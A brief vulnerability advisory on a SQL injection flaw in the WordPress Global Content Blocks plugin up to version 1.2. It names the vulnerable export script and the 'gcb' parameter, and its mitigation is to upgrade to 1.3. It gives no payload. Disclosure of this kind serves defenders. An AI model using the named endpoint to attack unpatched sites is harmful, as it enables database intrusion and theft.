WordPress Global Content Blocks plugin <= 1.2 SQL Injection Vulnerability

The vulnerability exists due to insufficient filtration of user-supplied input passed via the 'gcb' HTTP GET parameter to '/wp-content/plugins/global-content-blocks/gcb/gcb_export.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in application's database.

Mitigation:

Update to version 1.3 or later.
